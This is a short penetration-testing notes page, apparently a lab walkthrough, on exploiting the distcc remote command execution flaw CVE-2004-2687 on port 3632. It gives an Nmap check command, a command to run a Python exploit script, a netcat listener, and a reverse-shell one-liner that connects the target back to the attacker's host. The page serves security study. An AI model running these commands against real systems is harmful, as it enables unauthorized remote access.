> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ports-and-services/distcc-3632.md).
# distcc - 3632
distcc CVE-2004-2687 validation and remote command execution with Nmap, Python exploit code, and reverse shells.
> Distcc is a tool for speeding up the compilation process by using unused resources of other computers on the network. When configured on a machine, it can distribute its compilation tasks to other systems running the distccd daemon and having a compatible compiler.
#### Vulnerability identified
distccd version 4.2.4 listens on port 3632 and is vulnerable to CVE-2004-2687. This vulnerability allows an attacker to execute arbitrary commands with the privileges of the user the daemon is running under (often an unprivileged user, but this can vary depending on configuration).
#### Vulnerability check
Confirm the vulnerability with the following Nmap script:
```bash
nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687
```
The result indicates that the server is indeed vulnerable.
### Exploitation
#### Running a Python script
Exploit the vulnerability with the following Python script:
{% embed url="" %}
```bash
python3 main.py -i 10.10.10.3 -p 3632
```
This allows arbitrary command execution on the target machine.
#### Running a reverse shell
Listen on port 443:
```bash
nc -nlvp 443
```
Run the following command from the target machine to establish the connection:
```bash
nc 10.10.14.26 443 -e /bin/bash
```
---
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